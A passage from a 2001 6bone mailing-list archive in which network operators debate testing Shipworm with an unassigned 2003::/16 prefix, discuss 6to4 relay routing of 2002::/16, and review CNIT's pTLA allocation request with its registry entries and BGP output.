> non-interconnected set of networks is not the Internet as we all know and 
> love it, and the v6 Internet is no exception.
> 
> Many/most/all of the open v6 peering points around the world do, in fact, 
> connect 3FFE and 2001 prefix-using networks together. Some of these 
> networks even have both 3FFE and 2001 prefixes allocated to them. We 
> continue to encourage such peerings and trust that properly managed and 
> operated peerings protect bad things from happening (which is what RFC2772 
> is about, but read on below).
> 
> 
> >Unless I hear something from Working-Group chairs, I will be appending this
> >prefix to my filters today.
> >P.S. If any of you have this route in your table now, you aren't abiding by
> >rfc2772 for filtering anyhow, so I don't see where the room to complain
> >about it exists.  If you filter strictly, you would not see this route
> >in your RIB...
> 
> RFC2772 is the 6bone's current operational guidelines, both for routing and 
> overall participation. Rob and a few others of us are now doing a rewrite 
> to bring it up to date, but it is still in force and very relevant.
> 
> As for the filtering rules in RFC2772, I presume Rob refers to the 
> parenthetical note in RFC2772 3.1:
> 
> "(Also, it is each pTLA, pNLA, and end-site's responsibility to not only 
> filter their own BGP4+ sessions appropriately to peers, but to filter 
> routes coming from peers as well, and to only allow those routes that fit 
> the aggregation model, and do not cause operational problems)."
> 
> The reader should also look at the rest of section 3, as well as sections 4 
> and 9, for more general guidance for routing policy and other filtering.
> 
> 
> As for SHIPWORM's status in ngtrans, you should read the ngtrans project 
> status page (I do keep it quite up to date):
> 
> <http://www.6bone.net/ngtrans/ngtrans_project-status.html#SHIPWORM>
> 
> which currently states:
> 
> shipworm-02 published 26Sep01, last call for forwarding closes 12Oct01
> shipworm-03 published 16Oct01 to answer last call comments
>              forwarded to IESG 18Oct01
>              IESG evaluating nat traversal issues before proceeding
> 
> The last communications on this with Randy Bush, our AD, are:
> 
> >From: Randy Bush <randy@psg.com>
> >To: Bob Fink <fink@es.net>
> >Cc: Bert Wijnen <bwijnen@lucent.com>,
> >         IETF Secretariat <ietf-secretariat@ietf.org>,
> >         Alain Durand <Alain.Durand@sun.com>, Tony Hain <tony@tndh.net>,
> >         NGtrans List <ngtrans@sunroof.eng.sun.com>
> >Subject: (ngtrans) Re: forwarding SHIPWORM for PS
> >Date: Thu, 18 Oct 2001 23:11:40 -0700
> >
> > > SHIPWORM-02 finished ngtrans WG last call with comments that were resolved
> > > in the new -03 draft:
> > >
> > > <http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-shipworm-03.txt>
> > >
> > > Please process this draft as a candidate for PS.
> >
> >the iab has raised a general architectural issue regarding nat traversal
> >that has clear relevance to this draft, midcom, and so forth.  i am trying
> >to understand it more before progressing.  please stay tuned.
> >
> >randy
> 
> and:
> 
> >From: Randy Bush <randy@psg.com>
> >To: Christian Huitema <huitema@windows.microsoft.com>
> >Cc: Alain Durand <Alain.Durand@sun.com>,
> >     Tony Hain <tony@tndh.net>,
> >     Bob Fink <fink@es.net>,
> >     Bert Wijnen <bwijnen@lucent.com>
> >Subject: Re: shipworm progress?
> >Date: Thu, 08 Nov 2001 13:43:15 -0800
> >
> > > When can we expect the IESG to issue a last call?
> >
> >no sooner than the architectural issues that were raised with the midcom
> >etc. work are resolved.
> >
> >randy
> 
> 
> We, the ngtrans chairs, do want SHIPWORM to progress into production, but a 
> Shipworm IPv6 service prefix
> is not likely to be assigned by IANA until the IESG moves the draft forward 
> (Randy can correct me if I am wrong). Meanwhile, testing is needed and 
> underway. Any choice of interim prefix is almost certainly likely to be 
> different than one assigned for production, so I don't particularly care 
> what is used.
> 
> If a 3FFE-based prefix is temporarily requested, I would support allocating 
> it for further testing, but don't think it matters at this stage given the 
> test use of 2003 for this is already underway.
> 
> 
> Thanks,
> 
> Bob

From 6bone-owner  Fri Dec  7 22:16:08 2001
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Subject: RE: Announcing 2003::/16 during tests of "shipworm"
Date: Fri, 7 Dec 2001 22:16:36 -0800
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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This issue is almost as bi-partisan as the Bush/Gore Florida ballots. I
hereby call for a Bar BOF in Salt Lake about the topic. Maybe Microsoft
could buy the beer or give away free licensed copies of WinXP to people
that swear they are Unix zealots or something.

My $0.02
Michel.


From 6bone-owner  Sat Dec  8 13:46:49 2001
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Subject: Hijacking of prefixes - IPv4 class E (was: Announcing 2003::/16 during tests of "shipworm")
Date: Sat, 8 Dec 2001 13:47:15 -0800
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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6bone folk,

In IPv4, there is something called class E (first bits 1111, 240 to 255)
that is "Experimental ".

The 6bone, IMHO, is not big enough in some experimental situations.
There will be a few protocols (think about 6to4) that need the full 32
bits between the TLA and the SLA, which means they would need a /16 to
test.

Maybe it would be a good idea to create IPv6 "Experimental prefixes",
allocate to it a handful of IPv6 /16 prefixes, well know to host wild
experiments, that everybody could choose to filter or not.

Michel.


From 6bone-owner  Sat Dec  8 17:35:44 2001
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From: Jan Oravec <wsx@wsx6.net>
To: Michel Py <michel@arneill-py.sacramento.ca.us>, 6bone@ISI.EDU
Subject: Re: Hijacking of prefixes - IPv4 class E (was: Announcing 2003::/16 during tests of "shipworm")
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> Maybe it would be a good idea to create IPv6 "Experimental prefixes",
> allocate to it a handful of IPv6 /16 prefixes, well know to host wild
> experiments, that everybody could choose to filter or not.

Something like that would be nice for experiments, but advertising such
prefixes has no effect, because the prefix can be already used by someone
else for another experiment.

That implies that such experiments cannot be global experiments.
The only one way is to make some authority for time limited prefix
delegations <- ugly solution.

Anyway, does anyone need to do global experiments ?


Best Regards,

Jan Oravec
XS26 - 'Access to IPv6'
jan.oravec@xs26.net

From 6bone-owner  Sat Dec  8 17:58:29 2001
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From: Jan Oravec <wsx@wsx6.net>
To: Bob Fink <fink@es.net>, 6bone@ISI.EDU
Subject: Re: Announcing 2003::/16 during tests of "shipworm"
Message-ID: <20011209025905.A78328@ipv6.isternet.sk>
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Bob,

> >I see no reason to not allow *ANY* prefix that has a legit purpose for
> >testing on the 6bone.  This should in no way break any existing asignments.

> I do agree with this. The 6bone is a test network, and as such would not be 
> doing a proper job if we didn't allow new ideas (and prefixes) to be used 
> for testing, as long as they don't mess up others (which Rob covers below).

How can you ensure, invalid prefixes will not get into production
networks ? 6bone is big enough to this be impossible - many AS does not
filter anything.

Microsoft does not need to announce 2003::/16 to test ShipWorm. They say,
they want to test it, not to provide 6bone/IPv6 connection thru ShipWorm.
If they want the second, they can SNAT 2003::/16 to some valid address or
wait for IANA assignment.

> The last communications on this with Randy Bush, our AD, are:

and also:

> Date: Fri, 07 Dec 2001 15:26:36 -0800
> From: Randy Bush <randy@psg.com>
> Subject: Re: (ngtrans) Testing Shipworm
> To: "Christian Huitema" <huitema@windows.microsoft.com>
> Cc: <ngtrans@sunroof.eng.sun.com>
> 
> > Our development team is getting ready to test Shipworm. Pending formal
> > IANA assignment, we are testing with the following parameters:
> > 
> >       Shipworm IPv6 service prefix: 2003::/16
> >       Shipworm IPv4 anycast address: 131.107.0.36
> >       Shipworm UDP port: 337
> 
> cool!  we should have great fun, as i am hijacking that same space for
> a different experiment.
> 
> isn't hijacking fun!!!  and our expenses will go down now that we no
> longer need the iana or registries.
> 
> oh, and next week, we're going to conduct a bunch of ipv4 routing
> experiments announcing various prefixes in 207.46.192.0/18.  i'm sure
> no one will mind.
> 
> randy

Best Regards,
 
Jan Oravec
XS26 - 'Access to IPv6'
jan.oravec@xs26.net

From 6bone-owner  Sat Dec  8 20:19:35 2001
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Subject: RE: Hijacking of prefixes - IPv4 class E (was: Announcing 2003::/16 during tests of "shipworm")
Date: Sat, 8 Dec 2001 20:20:11 -0800
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From: Jan Oravec [mailto:wsx@wsx6.net]
>> Something like that would be nice for experiments, but advertising
>> such prefixes has no effect, because the prefix can be already used
>> by someone else for another experiment.

There is a finite number of people that need to advertise a /16 on the
IPv6 DFZ at the same time for the sole purpose of experimenting a new
protocol.


>> That implies that such experiments cannot be global experiments.

Wrong.


>> The only one way is to make some authority for time limited
>> prefix delegations

Absolutely, and there needs to be no authority for that. 

>> <- ugly solution.

Why?


>> Anyway, does anyone need to do global experiments ?

This is not even debatable. Not everyone needs global experiments, but
some people do. In the case that prompted all that turmoil
(shipworm/microsoft), there is no doubt that whoever develops such a
protocol will one day or another need to advertise a /16.

Hijacking is bad, but regulated hijacking could have some use,
especially if it does not break anything.

Michel.


From 6bone-owner  Sat Dec  8 20:27:36 2001
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Subject: RE: Announcing 2003::/16 during tests of "shipworm"
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>> How can you ensure, invalid prefixes will not get into
>> production networks ? 6bone is big enough to this be impossible
>> - many AS does not filter anything.

Come on. Even on my HOME router I filter in and out BGP routes I send
and receive to/from my IPv6 BGP peers. 6bone is very, very small.

A production network without filtering? give me a break.

Michel.

From 6bone-owner  Sun Dec  9 15:56:28 2001
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Subject: Re: Announcing 2003::/16 during tests of "shipworm"
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Primary concern: safety.
	If you can't filter, or don't know how, you should not be connected
to the 6bone.


However, becuase of the controversy here, I will be allowing the 2003://16
prefix only to transit connections to 6175.  If you receive transit from
6175, and do not wish to receive 2003::/16, please filter the prefix.


IMHO, the position that "we can't do that becuase people don't filter" is
nonsense. If people don't filter, they should not be allowed to participate
on the 6bone.

Thanks
Rob Rockell
Principal Engineer
SprintLink Europe/Asia
(+1) 703-689-6322
Sprint IP Services : Thinking outside the 435 box
-----------------------------------------------------------------------

On Sun, 9 Dec 2001, Jan Oravec wrote:

->Bob,
->
->> >I see no reason to not allow *ANY* prefix that has a legit purpose for
->> >testing on the 6bone.  This should in no way break any existing asignments.
->
->> I do agree with this. The 6bone is a test network, and as such would not be
->> doing a proper job if we didn't allow new ideas (and prefixes) to be used
->> for testing, as long as they don't mess up others (which Rob covers below).
->
->How can you ensure, invalid prefixes will not get into production
->networks ? 6bone is big enough to this be impossible - many AS does not
->filter anything.
->
->Microsoft does not need to announce 2003::/16 to test ShipWorm. They say,
->they want to test it, not to provide 6bone/IPv6 connection thru ShipWorm.
->If they want the second, they can SNAT 2003::/16 to some valid address or
->wait for IANA assignment.
->
->> The last communications on this with Randy Bush, our AD, are:
->
->and also:
->
->> Date: Fri, 07 Dec 2001 15:26:36 -0800
->> From: Randy Bush <randy@psg.com>
->> Subject: Re: (ngtrans) Testing Shipworm
->> To: "Christian Huitema" <huitema@windows.microsoft.com>
->> Cc: <ngtrans@sunroof.eng.sun.com>
->>
->> > Our development team is getting ready to test Shipworm. Pending formal
->> > IANA assignment, we are testing with the following parameters:
->> >
->> >       Shipworm IPv6 service prefix: 2003::/16
->> >       Shipworm IPv4 anycast address: 131.107.0.36
->> >       Shipworm UDP port: 337
->>
->> cool!  we should have great fun, as i am hijacking that same space for
->> a different experiment.
->>
->> isn't hijacking fun!!!  and our expenses will go down now that we no
->> longer need the iana or registries.
->>
->> oh, and next week, we're going to conduct a bunch of ipv4 routing
->> experiments announcing various prefixes in 207.46.192.0/18.  i'm sure
->> no one will mind.
->>
->> randy
->
->Best Regards,
->
->Jan Oravec
->XS26 - 'Access to IPv6'
->jan.oravec@xs26.net
->


From 6bone-owner  Sun Dec  9 17:03:46 2001
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Date: Sun, 09 Dec 2001 15:34:03 -0800
To: "Michel Py" <michel@arneill-py.sacramento.ca.us>,
        "6BONE List" <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: Hijacking of prefixes - IPv4 class E (was: Announcing
  2003::/16 during tests of "shipworm")
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Michel,

At 01:47 PM 12/8/2001 -0800, Michel Py wrote:
>6bone folk,
>
>In IPv4, there is something called class E (first bits 1111, 240 to 255)
>that is "Experimental ".
>
>The 6bone, IMHO, is not big enough in some experimental situations.
>There will be a few protocols (think about 6to4) that need the full 32
>bits between the TLA and the SLA, which means they would need a /16 to
>test.
>
>Maybe it would be a good idea to create IPv6 "Experimental prefixes",
>allocate to it a handful of IPv6 /16 prefixes, well know to host wild
>experiments, that everybody could choose to filter or not.

The 6bone only has control over the 3FFE::/16 prefix by direct allocation 
of the IANA per RFC2471.

My take is that, at this stage, it would take a very compelling technical 
reason to allocate a further /16 for testing purposes, as well as a very 
strong show of community support to do so. Neither of which is yet obvious.

If, over time, it becomes obvious that there is need and support, we can 
bring it to ngtrans for further evaluation. Meanwhile, I would wait and see 
what happens to the idea on the 6bone mail list.


Thanks,

Bob


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Subject: Re: Announcing 2003::/16 during tests of "shipworm"
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Jan,

At 02:59 AM 12/9/2001 +0100, Jan Oravec wrote:
>Bob,
>
> > >I see no reason to not allow *ANY* prefix that has a legit purpose for
> > >testing on the 6bone.  This should in no way break any existing 
> asignments.
>
> > I do agree with this. The 6bone is a test network, and as such would 
> not be
> > doing a proper job if we didn't allow new ideas (and prefixes) to be used
> > for testing, as long as they don't mess up others (which Rob covers below).
>
>How can you ensure, invalid prefixes will not get into production
>networks ? 6bone is big enough to this be impossible - many AS does not
>filter anything.

Networks peering with 6bone pTLAs need to filter for many obvious 
production reasons. If they don't, many worse things can happen than this 
usage.


>Microsoft does not need to announce 2003::/16 to test ShipWorm. They say,
>they want to test it, not to provide 6bone/IPv6 connection thru ShipWorm.
>If they want the second, they can SNAT 2003::/16 to some valid address or
>wait for IANA assignment.

Well, they clearly did feel the need to do this, and to my knowledge no 
harm has resulted.

Note that I'm not supporting anything more here than the need to filter in 
general, and that the testing of SHIPWORM with this prefix isn't harmful to 
the 6bone if folks follow the rules.


Thanks,

Bob


From 6bone-owner  Sun Dec  9 18:00:21 2001
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Subject: RE: Hijacking of prefixes - IPv4 class E (was: Announcing 2003::/16 during tests of "shipworm")
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From 6bone-owner  Mon Dec 10 10:36:07 2001
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Date: Mon, 10 Dec 2001 18:37:54 +0000
From: Dave Wilson <dave.wilson@heanet.ie>
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Hi all,

I'm looking into setting up a 6to4 relay router for my customers, and 
could use some help parsing RFC3056.

>   On its native IPv6 interface, the relay router MUST advertise a route
>   to 2002::/16.  It MUST NOT advertise a longer 2002:: routing prefix
>   on that interface.  Routing policy within the native IPv6 routing
>   domain determines the scope of that advertisement, thereby limiting
>   the visibility of the relay router in that domain.
>

Now I take it that this means that I must advertise 2002::/16 within my 
own network, and to as many of my peers as I (and they) choose, but 
there is no requirement to advertise it to the entire IPv6 internet. Is 
this correct? If so, is it good practise to attempt to advertise 
2002::/16 widely, or selectively?

I see also that it's forbidden to advertise prefixes longer than 
2002::/16, for good reason. This would seem to mean that packets going 
from native IPv6 site --> 6to4 site are reliant on either the native 
site (or their upstream) having a relay router, or on some kind person 
advertising 2002::/16 to the entire internet. Is this so?

Many thanks,
Dave


From 6bone-owner  Mon Dec 10 13:47:19 2001
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From: Pekka Savola <pekkas@netcore.fi>
To: Dave Wilson <dave.wilson@heanet.ie>
cc: <6bone@ISI.EDU>
Subject: Re: Routing of 2002::/16
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On Mon, 10 Dec 2001, Dave Wilson wrote:
> >   On its native IPv6 interface, the relay router MUST advertise a route
> >   to 2002::/16.  It MUST NOT advertise a longer 2002:: routing prefix
> >   on that interface.  Routing policy within the native IPv6 routing
> >   domain determines the scope of that advertisement, thereby limiting
> >   the visibility of the relay router in that domain.
> >
> 
> Now I take it that this means that I must advertise 2002::/16 within my 
> own network, and to as many of my peers as I (and they) choose, but 
> there is no requirement to advertise it to the entire IPv6 internet. Is 
> this correct? If so, is it good practise to attempt to advertise 
> 2002::/16 widely, or selectively?

Yes.

Depending on your network connectivity, whether you want to provide free 
service etc. you may or may not advertise it to the whole Internet.  It's 
up to you.  The shortest paths win, so you probably wouldn't be getting 
all the traffic anyway.

Here, we're announcing the route with no-export community to all of our
neighbours even though there is no reason to be shy about it (we're
already advertising 192.88.99.0/24 to the whole Internet).

> I see also that it's forbidden to advertise prefixes longer than 
> 2002::/16, for good reason. This would seem to mean that packets going 
> from native IPv6 site --> 6to4 site are reliant on either the native 
> site (or their upstream) having a relay router, or on some kind person 
> advertising 2002::/16 to the entire internet. Is this so?

Yes, multiple sources advertise 2002::/16 to the whole Internet.  A route 
is required, in one way or the other.

This is IMO a major problem with 6to4 -- the path for return packets may
be very non-optimal.  This can only be remedied by more 6to4 relays.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Mon Dec 10 16:31:27 2001
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From 6bone-owner  Mon Dec 10 19:01:16 2001
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To: Dave Wilson <dave.wilson@heanet.ie>
cc: 6bone@ISI.EDU
Subject: Re: Routing of 2002::/16 
In-reply-to: Your message of "Mon, 10 Dec 2001 18:37:54 GMT."
             <3C150102.1010504@heanet.ie> 
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Date: Mon, 10 Dec 2001 19:51:27 -0700
From: Michael Richardson <mcr@sandelman.ottawa.on.ca>
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>>>>> "Dave" == Dave Wilson <dave.wilson@heanet.ie> writes:
    Dave> Now I take it that this means that I must advertise 2002::/16 within my 
    Dave> own network, and to as many of my peers as I (and they) choose, but 

  If you have a 6to4 gateway, you should advertise 2002::/16 so that your
network will know how to find the gateway and thus reach 6to4 nodes.

  If you are *using* 6to4 addresses, then once you have formed your /48
prefix, you may well be subnetting that, and you likely want to advertise
/64s (or however you subnet) internal to your network. 

    Dave> I see also that it's forbidden to advertise prefixes longer than 
    Dave> 2002::/16, for good reason. This would seem to mean that packets going 
    Dave> from native IPv6 site --> 6to4 site are reliant on either the native 
    Dave> site (or their upstream) having a relay router, or on some kind person 
    Dave> advertising 2002::/16 to the entire internet. Is this so?

  I'm not entirely clear why an ISP that had, for instance 209.151.0.0/19,
couldn't advertise a gateway to 2002:d197:0000::/35 to its v6 peers.

]       ON HUMILITY: to err is human. To moo, bovine.           |  firewalls  [
]   Michael Richardson, Sandelman Software Works, Ottawa, ON    |net architect[
] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[
] panic("Just another NetBSD/notebook using, kernel hacking, security guy");  [

From 6bone-owner  Mon Dec 10 20:32:03 2001
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Dave Wilson <dave.wilson@heanet.ie>
cc: 6bone@ISI.EDU
Subject: Re: Routing of 2002::/16 
In-reply-to: Your message of Mon, 10 Dec 2001 18:37:54 GMT.
             <3C150102.1010504@heanet.ie> 
Date: Tue, 11 Dec 2001 05:32:15 +0100
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 In your previous mail you wrote:

   I'm looking into setting up a 6to4 relay router for my customers, and 
   could use some help parsing RFC3056.
   
=> I had the same problem for a set of experimental IPv6 networks
so we can share ideas...

   Now I take it that this means that I must advertise 2002::/16 within my 
   own network, and to as many of my peers as I (and they) choose, but 
   there is no requirement to advertise it to the entire IPv6 internet. Is 
   this correct?

=> yes, you have not to provide the service to everybody.

   If so, is it good practise to attempt to advertise 
   2002::/16 widely, or selectively?
   
=> this is economics...

   I see also that it's forbidden to advertise prefixes longer than 
   2002::/16, for good reason.

=> yes, in our case a longer prefix is useless.

   This would seem to mean that packets going 
   from native IPv6 site --> 6to4 site are reliant on either the native 
   site (or their upstream) having a relay router, or on some kind person 
   advertising 2002::/16 to the entire internet. Is this so?
   
=> yes, the routing protocol will choose the best one.
Between a native IPv6 node and a 6to4 one, the position of 6to4 relays
will give what IPv6 and IPv4 infrastructures are used.
As they are not free in general, this matters!
My advice is we have to control this, by proper management of
advertisements and filtering at the IPv6 relay against abuse
(not only the long list of trivial abuses you can get in KAME stf
manual page, Itojun can say more about this).

Regards

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Mon Dec 10 20:43:50 2001
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Date: Mon, 10 Dec 2001 20:43:34 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for CNIT - review closes 24 December 2001
Cc: Gianluca Mazzini <g.mazzini@ieee.org>
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6bone Folk,

CNIT has requested a pTLA allocation. The open review period for this will 
close 24 December 2001. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?cnit>


Thanks,

Bob

===
>Date: Mon, 10 Dec 2001 17:27:50 +0100
>From: Gianluca Mazzini <g.mazzini@ieee.org>
>To: Bob Fink <fink@es.net>
>Cc: ipv6@cnit.it
>Subject: pTLA request
>
>Dear Bob,
>
>by following the suggestion you give me the last week, I have work a
>lot around the submission of a IPv6 space request with a /24 or /28
>for the CNIT. In the following you can find our request that I hope
>you will process.
>
>Best Regards
>
>Gianluca Mazzini
>
>7. Guidelines for 6Bone pTLA sites
>
>   The following rules apply to qualify for a 6Bone pTLA allocation. It
>   should be recognized that holders of 6Bone pTLA allocations are
>   expected to provide production quality backbone network services for
>   the 6Bone.
>
>   1. The pTLA Applicant must have a minimum of three (3) months
>      qualifying experience as a 6Bone end-site or pNLA transit.   During
>      the entire qualifying period the Applicant must be operationally
>      providing the following:
>
>
>The applicance is for CNIT. This acronymous is for National Consortium
>Inter-University for telecommunications. This consortium links a large
>number of italian universities involved in projects, developments and
>researches in the telecommunications field. The web site of the
>consortium is www.cnit.it, where a lot of information about the
>consortium and its parters are hosted.
>
>Since the beginning of 2001 the consortium has developed a proprietary
>network based on ATM, HDSL, Frame relay and Satellite links with more
>than 20 site connected. CNIT is an autonous system on IPv4 (AS20754)
>with allocation 217.9.64.0/20.
>
>In parallel, University of Ferrara (UNIFE), a CNIT member has
>performed a lot of activities on IPv6 since 1997, working on proxy
>IPv6/v4 developing, multicast streaming (with CSELT now TILAB) and
>redundant routing (European project www.depaude.org). CNIT has
>recently ask to UNIFE some helps to create a native IPv6 network with
>the aim of using it both in all the local site and in the geographic
>connection. Where the native IPv6 is not supported, tunnelling has
>been used.
>
>Actually the system is running with some /48 given by public tunnel
>broker service but the potentially high number of users (researchers
>and students), the large dimension of the network and the planned
>developing and research activities need to migrate to a /24 or /28.
>
>      a. Fully maintained, up to date, 6Bone Registry entries for their
>         ipv6-site inet6num, mntner, and person objects, including each
>         tunnel that the Applicant has.
>
>This point is satisfied as you can check searching for CNIT on the
>6BONE database.
>
>
>ipv6-site:    CNIT
>origin:       AS20745
>descr:        Consorzio Nazionale Interuniversitario per le Telecomunicazioni
>country:      IT
>prefix:       3FFE:8171:49::/48
>tunnel:       IPv6 in IPv4 gw-cnit-fe-na.cnit.it -> 6bone-gw1.edisontel.it 
>EDISONTEL BGP4+
>tunnel:       IPv6 in IPv4 gw-cnit-fe-na.cnit.it -> 
>100tx-f1-0.c7206.ipv6.he.net HE BGP4+
>tunnel:       IPv6 in IPv4 gw-cnit-fe-na.cnit.it -> 
>6bone-gw3.ipv6.cselt.it TILAB BGP4+
>contact:      GM1-6BONE
>contact:      SZ-6BONE
>contact:      SV-6BONE
>mnt-by:       UNIFE-MNT
>changed:      g.mazzini@ieee.org 20010731
>changed:      g.mazzini@ieee.org 20011206
>changed:      g.mazzini@ieee.org 20011207
>source:       6BONE
>
>inet6num:     3FFE:8171:49::/48
>netname:      CNIT
>descr:        Consorzio Nazionale Interuniversitario per le Telecomunicazioni
>country:      IT
>admin-c:      GM1-6BONE
>tech-c:       SZ-6BONE
>tech-c:       SV-6BONE
>mnt-by:       UNIFE-MNT
>changed:      g.mazzini@ieee.org 20010731
>changed:      g.mazzini@ieee.org 20011206
>changed:      g.mazzini@ieee.org 20011210
>source:       6BONE
>
>person:       Gianluca Mazzini
>address:      University of Ferarra
>address:      Via Saragat 1
>address:      44100 Ferrara
>address:      Italy
>phone:        +39 335 8160916
>fax-no:       +39 0532 768602
>e-mail:       g.mazzini@ieee.org
>nic-hdl:      GM1-6BONE
>notify:       g.mazzini@ieee.org
>mnt-by:       UNIFE-MNT
>changed:      g.mazzini@ieee.org 20010731
>source:       6BONE
>
>person:       Sandro Zappatore
>address:      Consorzio Nazionale Interuniversitario per le Telecomunicazioni
>address:      Via Diocleziano 328
>address:      I- 80125 Napoli NA
>address:      Italy
>phone:        +39 081 2303311
>fax-no:       +39 081 2303311
>e-mail:       sandro.zappatore@cnit.it
>nic-hdl:      SZ-6BONE
>mnt-by:       UNIFE-MNT
>changed:      g.mazzini@ieee.org 20010731
>source:       6BONE
>
>person:       Stefano Vignola
>address:      Consorzio Nazionale Interuniversitario per le Telecomunicazioni
>address:      Via Diocleziano 328
>address:      I- 80125 Napoli NA
>address:      Italy
>phone:        +39 081 2303311
>fax-no:       +39 081 2303311
>e-mail:       stefano.vignola@cnit.it
>nic-hdl:      SV-6BONE
>mnt-by:       UNIFE-MNT
>changed:      g.mazzini@ieee.org 20010731
>source:       6BONE
>
>      b. Fully maintained, and reliable, BGP4+ peering and connectivity
>         between the Applicant's boundary router and the appropriate
>         connection point into the 6Bone. This router must be IPv6
>         pingable. This criteria is judged by members of the 6Bone
>         Operations Group at the time of the Applicant's pTLA request.
>
>Three differents connection between our autonomous system and the
>6bone is active with BGP4+. Our router has IPv4 217.9.66.10, it is
>pingable (also in ipv6 to 3FFE:8171:49::1, 3FFE:1200:3028:8116::1,
>3FFE:1001:580::1) and the tunnels are
>
>tunnel:       IPv6 in IPv4 gw-cnit-fe-na.cnit.it -> 6bone-gw1.edisontel.it 
>EDISONTEL BGP4+
>tunnel:       IPv6 in IPv4 gw-cnit-fe-na.cnit.it -> 
>100tx-f1-0.c7206.ipv6.he.net HE BGP4+
>tunnel:       IPv6 in IPv4 gw-cnit-fe-na.cnit.it -> 
>6bone-gw3.ipv6.cselt.it TILAB BGP4+
>
>Furthermore, our main IPv6 router, a CISCO with IOS 12.2, give the
>following output for the bgp
>
>BGP router identifier 217.9.66.10, local AS number 20745
>BGP table version is 956, main routing table version 956
>301 network entries and 706 paths using 86837 bytes of memory
>503 BGP path attribute entries using 30180 bytes of memory
>483 BGP AS-PATH entries using 13292 bytes of memory
>956 BGP route-map cache entries using 15296 bytes of memory
>0 BGP filter-list cache entries using 0 bytes of memory
>BGP activity 1447/5859 prefixes, 4548/3842 paths, scan interval 15 secs
>
>Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ Up/Down
>State/PfxRcd
>2001:750:E::C   4 15589    6480   12175      956    0    0 05:11:09      190
>3FFE:1001:1:F022::1
>                4  5609    7377    6794      956    0    0 05:20:01      280
>3FFE:1200:3028:FF01::4B04
>                4  6939   12990    6164      956    0    0 05:19:23      233
>
>
>      c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>         entries for the Applicant's router(s) and at least one host
>         system.
>
>An AAAA on cnit.it domain is available on the subdomain
>ipv6.cnit.it. The actual dns are 217.9.64.3 and 192.167.215.104. This
>works also for the reverse lookup for the network 3FFE:8171:49::/48 we
>actually use. The dns is pingable and accessible but it is forbitten
>to obtain the host list for security and privacy reason. The following
>list of IPv6 host is actually registered and running but we are
>strongly working to expand them.
>
>fs              IN AAAA         3ffe:8171:0049:0002:201:2ff:fe94:df20
>dns             IN AAAA         3ffe:8171:0049:0002:201:2ff:fe94:df49
>tlc1            IN AAAA         3ffe:8171:0049:0002:2c0:26ff:fe10:8d08
>tlc2            IN AAAA         3ffe:8171:0049:0002:201:2ff:fe94:df09
>tlc3            IN AAAA         3ffe:8171:0049:0002:201:2ff:fe94:df22
>tlc8            IN AAAA         3ffe:8171:0049:0002:201:2ff:fe94:df34
>tlc9            IN AAAA         3ffe:8171:0049:0002:201:2ff:fe94:df19
>tlc10           IN AAAA         3ffe:8171:0049:0002:201:2ff:fe94:df21
>tlc11           IN AAAA         3ffe:8171:0049:0002:201:2ff:fe94:df32
>tlc12           IN AAAA         3ffe:8171:0049:0002:201:2ff:fe94:df12
>tlc13           IN AAAA         3ffe:8171:0049:0002:201:2ff:fef2:d147
>tlc14           IN AAAA         3ffe:8171:0049:0002:201:2ff:fe94:df15
>tlc20           IN AAAA         3ffe:8171:0049:0002:2e0:18ff:fe21:3620
>tlc21           IN AAAA         3ffe:8171:0049:0002:2e0:18ff:fe21:45e5
>tlc23           IN AAAA         3ffe:8171:0049:0002:2e0:18ff:fe21:45e0
>tlc25           IN AAAA         3ffe:8171:0049:0002:2e0:18ff:fe21:3893
>tlc26           IN AAAA         3ffe:8171:0049:0002:2e0:18ff:fe21:3618
>tlc27           IN AAAA         3ffe:8171:0049:0002:2e0:18ff:fe21:3619
>tlc28           IN AAAA         3ffe:8171:0049:0002:2e0:18ff:fe21:3892
>tlc29           IN AAAA         3ffe:8171:0049:0002:2e0:18ff:fe21:3894
>tlc30           IN AAAA         3ffe:8171:0049:0002:2e0:18ff:fe21:45cc
>tlc32           IN AAAA         3ffe:8171:0049:0002:2e0:18ff:fe21:460f
>tlc33           IN AAAA         3ffe:8171:0049:0002:2e0:18ff:fe21:45ea
>tlc34           IN AAAA         3ffe:8171:0049:0002:2e0:18ff:fe21:3617
>tlc36           IN AAAA         3ffe:8171:0049:0002:2e0:18ff:fe21:3616
>tlc38           IN AAAA         3ffe:8171:0049:0002:2e0:18ff:fe21:4628
>tlc39           IN AAAA         3ffe:8171:0049:0002:2e0:18ff:fe21:45f2
>tlc40           IN AAAA         3ffe:8171:0049:0002:2e0:18ff:fe21:3621
>
>
>      d. A fully maintained, and reliable, IPv6-accessible system
>         providing, at a mimimum, one or more web pages, describing the
>         Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>A web site at the address www.ipv6.cnit.it is available and
>pingable. It is working in IPv6 only. The server actually does not
>offer any service but it declare the service that we will implement
>soon.
>
>   2. The pTLA Applicant MUST have the ability and intent to provide
>      "production-quality" 6Bone backbone service. Applicants must
>      provide a statement and information in support of this claim.
>      This MUST include the following:
>
>      a. A support staff of two persons minimum, three preferable, with
>         person attributes registered for each in the ipv6-site object
>         for the pTLA applicant.
>
>As you can see from the previous reported list 3 persons is registered
>for the CNIT IPv6 management, their name are Sandro Zappatore, Stefano
>Vignola and Gianluca Mazzini.
>
>      b. A common mailbox for support contact purposes that all support
>         staff have acess to, pointed to with a notify attribute in the
>         ipv6-site object for the pTLA Applicant.
>
>A common mailbox with address ipv6@cnit.it has been created for
>technical contact and it is internally accessible by all the technical
>person involved in the IPv6 management.
>
>   3. The pTLA Applicant MUST have a potential "user community" that
>      would be served by its becoming a pTLA, e.g., the Applicant is a
>      major provider of Internet service in a region, country, or focus
>      of interest. Applicant must provide a statement and information in
>      support this claim.
>
>As underlined in the 7.1 topic, the CNIT as broad consortium of
